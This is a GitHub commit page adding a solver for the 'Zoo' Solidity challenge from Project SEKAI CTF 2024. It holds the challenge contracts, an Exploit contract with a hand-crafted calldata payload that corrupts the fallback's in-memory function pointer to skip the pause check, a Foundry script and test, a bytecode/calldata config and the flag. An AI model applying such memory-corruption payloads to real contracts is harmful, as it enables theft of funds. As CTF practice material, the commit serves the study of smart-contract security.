Skip to content

Commit

Permalink
add solver for Project SEKAI CTF 2024 Zoo
Browse files Browse the repository at this point in the history
  • Loading branch information
minaminao committed Sep 11, 2024
1 parent 35c6764 commit 65da84d
Show file tree
Hide file tree
Showing 7 changed files with 304 additions and 0 deletions.
20 changes: 20 additions & 0 deletions src/ProjectSekaiCTF2024/Zoo/Exploit.s.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import {Script, console} from "forge-std/Script.sol";
import {Exploit} from "./Exploit.sol";
import {Setup, ZOO} from "./challenge/Setup.sol";

// forge script src/ProjectSekaiCTF2024/Zoo/Exploit.s.sol:ExploitScript --sig "run(address)" $INSTANCE_ADDR --private-key $PRIVATE_KEY -vvvvv --broadcast

contract ExploitScript is Script {
function run(address setupAddr) public {
vm.startBroadcast();

new Exploit(setupAddr);

vm.stopBroadcast();
}
}

// SEKAI{super-duper-memory-master-:3}
14 changes: 14 additions & 0 deletions src/ProjectSekaiCTF2024/Zoo/Exploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import {Setup} from "./challenge/Setup.sol";

contract Exploit {
constructor(address setupAddr) payable {
Setup setup = Setup(setupAddr);
address(setup.zoo()).call(
hex"100000040080DEADBEAF30002007220323100000040080DEADBEAF100100040080CAFEBABE20002100405fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae2252995fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299"
);
require(setup.isSolved(), "Exploit failed");
}
}
26 changes: 26 additions & 0 deletions src/ProjectSekaiCTF2024/Zoo/Exploit.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import {Test, console} from "forge-std/Test.sol";
import {Exploit} from "./Exploit.sol";
import {Setup, ZOO} from "./challenge/Setup.sol";

contract ExploitTest is Test {
address playerAddr = makeAddr("player");
Setup setup;
ZOO zoo;

function setUp() public {
vm.deal(playerAddr, 1 ether);
setup = new Setup();
zoo = setup.zoo();
}

function test() public {
vm.startPrank(playerAddr, playerAddr);

new Exploit(address(setup));

vm.stopPrank();
}
}
29 changes: 29 additions & 0 deletions src/ProjectSekaiCTF2024/Zoo/challenge/Animal.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
pragma solidity ^0.8.25;

import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";

contract Animal is ERC721, Ownable {
struct status {
uint256 feed;
string name;
}

mapping(uint256 => status) public animalStatus;
uint256 public counter;

constructor(string memory name, string memory symbol) ERC721(name, symbol) Ownable(msg.sender) {}

function feed(uint256 tokenId, uint256 amount) public onlyOwner {
animalStatus[tokenId].feed += amount;
}

function setName(uint256 tokenId, string memory name) public onlyOwner {
animalStatus[tokenId].name = name;
}

function addAnimal(address to) public onlyOwner {
_safeMint(to, counter);
counter++;
}
}
15 changes: 15 additions & 0 deletions src/ProjectSekaiCTF2024/Zoo/challenge/Setup.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
pragma solidity ^0.8.25;

import {ZOO} from "./ZOO.sol";

contract Setup {
ZOO public immutable zoo;

constructor() payable {
zoo = new ZOO();
}

function isSolved() public view returns (bool) {
return zoo.isSolved() == 1;
}
}
195 changes: 195 additions & 0 deletions src/ProjectSekaiCTF2024/Zoo/challenge/ZOO.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,195 @@
pragma solidity ^0.8.25;

import {Animal} from "./Animal.sol";
import {Pausable} from "@openzeppelin/contracts/utils/Pausable.sol";

contract ZOO is Pausable {
uint256 public isSolved;
AnimalWrapper[] public animals;

struct AnimalWrapper {
Animal animal;
uint256 counter;
}

uint256 constant ADD = 0x10;
uint256 constant EDIT = 0x20;
uint256 constant DEL = 0x30;

uint256 constant EDIT_NAME = 0x21;
uint256 constant EDIT_TYPE = 0x22;

uint256 constant TRACK_MAX = 0x100;

constructor() {
animals.push(AnimalWrapper(new Animal("PANDA", "PND"), 0));
animals.push(AnimalWrapper(new Animal("TIGER", "TGR"), 0));
animals.push(AnimalWrapper(new Animal("HORSE", "HRS"), 0));
animals.push(AnimalWrapper(new Animal("ZIBRA", "ZBR"), 0));
animals.push(AnimalWrapper(new Animal("HIPPO", "HPO"), 0));
animals.push(AnimalWrapper(new Animal("LION", "LON"), 0));
animals.push(AnimalWrapper(new Animal("BEAR", "BAR"), 0));
animals.push(AnimalWrapper(new Animal("WOLF", "WLF"), 0));
animals.push(AnimalWrapper(new Animal("ELEPHANT", "ELP"), 0));
animals.push(AnimalWrapper(new Animal("RHINO", "RNO"), 0));

// The ZOO is not opened yet :(
_pause();
}

function commit(bytes memory data) internal whenNotPaused {
assembly {
let counter := 0
let length := mload(data)

for { let i := 0 } lt(i, length) { i := add(i, 1) } {
let idx
let name

let memPtr := mload(0x40)

let ptr := mload(add(add(data, 0x20), counter))
idx := mload(ptr)
name := add(ptr, 0x20)
let name_length := mload(name)
counter := add(counter, 0x20)

mstore(0x00, animals.slot)
let slot_hash := keccak256(0x00, 0x20)
let animal_addr := sload(add(slot_hash, mul(2, idx)))
let animal_counter := sload(add(add(slot_hash, mul(2, idx)), 1))

if gt(animal_counter, 50) { revert(0, 0) }

mstore(memPtr, shl(0xe0, 0x1436163e))
mstore(add(memPtr, 0x4), caller())

pop(call(gas(), animal_addr, 0x00, memPtr, 0x24, memPtr, 0x00))

mstore(memPtr, shl(0xe0, 0x61bc221a))
pop(staticcall(gas(), animal_addr, memPtr, 0x20, memPtr, 0x20))

let animal_count := sub(mload(memPtr), 0x1)

mstore(memPtr, shl(0xe0, 0xfe55932a))
mstore(add(memPtr, 0x4), animal_count)
mstore(add(memPtr, 0x24), 0x40)
mstore(add(memPtr, 0x44), name_length)
mcopy(add(memPtr, 0x64), name, name_length)

pop(call(gas(), animal_addr, 0x00, memPtr, 0x84, memPtr, 0x00))

sstore(add(add(slot_hash, mul(2, idx)), 1), add(animal_counter, 1))
}
}
}

fallback() external payable {
function(bytes memory)[] memory functions = new function(
bytes memory
)[](1);
functions[0] = commit;

bytes memory local_animals;
assembly {
let arr := mload(0x40)
let size := calldatasize()
mstore(arr, size)
let size_align := add(add(size, sub(0x20, mod(size, 0x20))), 0x20)
mstore(0x40, add(arr, size_align))
calldatacopy(add(arr, 0x20), 0, size)

local_animals := mload(0x40)
mstore(0x40, add(local_animals, 0x120))

for { let i := 0 } lt(i, size) {} {
let op := mload(add(add(arr, 0x20), i))
op := shr(0xf8, op)
i := add(i, 1)

switch op
case 0x10 {
let idx := mload(add(add(arr, 0x20), i))
idx := shr(0xf8, idx)
i := add(i, 1)

if gt(idx, 7) { revert(0, 0) }

let name_length := mload(add(add(arr, 0x20), i))
name_length := shr(0xf0, name_length)
i := add(i, 2)

let animal_index := mload(add(add(arr, 0x20), i))
animal_index := shr(0xf0, animal_index)
i := add(i, 2)

let temp := mload(0x40)
mstore(temp, animal_index)
mcopy(add(temp, 0x40), add(add(arr, 0x20), i), name_length)
i := add(i, name_length)

name_length := add(name_length, sub(0x20, mod(name_length, 0x20)))

mstore(add(temp, 0x20), name_length)
mstore(0x40, add(temp, add(name_length, 0x40)))

mstore(add(add(local_animals, 0x20), mul(0x20, idx)), temp)

let animals_count := mload(local_animals)
mstore(local_animals, add(animals_count, 1))
}
case 0x20 {
let idx := mload(add(add(arr, 0x20), i))
idx := shr(0xf8, idx)
i := add(i, 1)

if gt(idx, 7) { revert(0, 0) }

let offset := add(add(local_animals, 0x20), mul(0x20, idx))
let temp := mload(offset)

let edit_type := mload(add(add(arr, 0x20), i))
edit_type := shr(0xf8, edit_type)
i := add(i, 1)

switch edit_type
case 0x21 {
let name_length := mload(add(add(arr, 0x20), i))
name_length := shr(0xf0, name_length)
i := add(i, 2)

mcopy(add(temp, 0x40), add(add(arr, 0x20), i), name_length)
}
case 0x22 {
let new_type := mload(add(add(arr, 0x20), i))
new_type := shr(0xf0, new_type)
i := add(i, 2)

mstore(add(temp, 0x20), new_type)
}
}
case 0x30 {
let idx := mload(add(add(arr, 0x20), i))
idx := shr(0xf8, idx)
i := add(i, 1)

if gt(idx, 7) { revert(0, 0) }

let offset := add(add(local_animals, 0x20), mul(0x20, idx))
let temp := mload(offset)

let copy_size := sub(0x100, mul(0x20, idx))
mcopy(offset, add(offset, 0x20), copy_size)

let animals_count := mload(local_animals)
animals_count := sub(animals_count, 1)
mstore(local_animals, animals_count)
}
default { break }
}
}
functions[0](local_animals);
}

receive() external payable {}
}
5 changes: 5 additions & 0 deletions src/ProjectSekaiCTF2024/Zoo/erever.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
bytecode = "0x608060405260043610610037575f3560e01c80635c975abb1461029457806364d98f6e146102ba578063998dd3ca146102dd5761003e565b3661003e57005b6040805160018082528183019092525f91816020015b61045681526020019060019003908161005457905050905061031b815f815181106100815761008161045e565b602002602001019067ffffffffffffffff16908167ffffffffffffffff1681525050606060405136808252602080820660200382010180830160405250805f6020840137604051925061012083016040525f5b81811015610269578281016020015160019091019060f81c806010811461010c57602081146101945760308114610221575050610269565b8483016020015160019093019260f81c6007811115610129575f80fd5b858401602081015160228201516040805160f092831c8082526004909901989390921c93849160249091019083015e82870196506020830660200383019250826020820152604083018101604052808460200260208c01015250505050855160018101875250610262565b8483016020015160019093019260f81c60078111156101b1575f80fd5b602090810287018101518685019091015160019094019360f81c80602181146101e1576022811461020357610219565b878601602081015160029097019660f01c908190602201604086015e50610219565b602086890181015160f01c908401526002909501945b505050610262565b8483016020015160019093019260f81c600781111561023e575f80fd5b602090810261010081900391908801908101908290604001825e505085515f190186525b50506100d4565b50505061029281835f815181106102825761028261045e565b602002602001015163ffffffff16565b005b34801561029f575f80fd5b505f5460ff1660405190151581526020015b60405180910390f35b3480156102c5575f80fd5b506102cf60015481565b6040519081526020016102b1565b3480156102e8575f80fd5b506102fc6102f7366004610472565b6103fb565b604080516001600160a01b0390931683526020830191909152016102b1565b610323610431565b5f81515f5b818110156103f5575f80604051856020880101518051935060208101925050815160208701965060025f5260205f2084600202810154600186600202830101546032811115610375575f80fd5b630a1b0b1f60e11b85523360048601525f8560248183865af1506330de110d60e11b85526020858181855afa508451637f2ac99560e11b86525f1901600486015260406024860152604485018490528386606487015e5f856084875f865af150600181016001886002028501015550505050505050600181019050610328565b50505050565b6002818154811061040a575f80fd5b5f918252602090912060029091020180546001909101546001600160a01b03909116915082565b5f5460ff16156104545760405163d93c066560e01b815260040160405180910390fd5b565b610454610489565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610482575f80fd5b5035919050565b634e487b7160e01b5f52605160045260245ffdfea2646970667358221220f2a97300c10e14462f4c8af686aa7a5296545c4357f1cb6da56448d443810c0d64736f6c63430008190033"
calldata = "1000 0004 0080 DEADBEAF 3000 2007 22 0323 1000 0004 0080 DEADBEAF 1001 0004 0080 CAFEBABE 2000 21 0040 5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299 5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299"

[state.storage]
0xADD2E55 = { "0" = "0x1" }

0 comments on commit 65da84d

Please sign in to comment.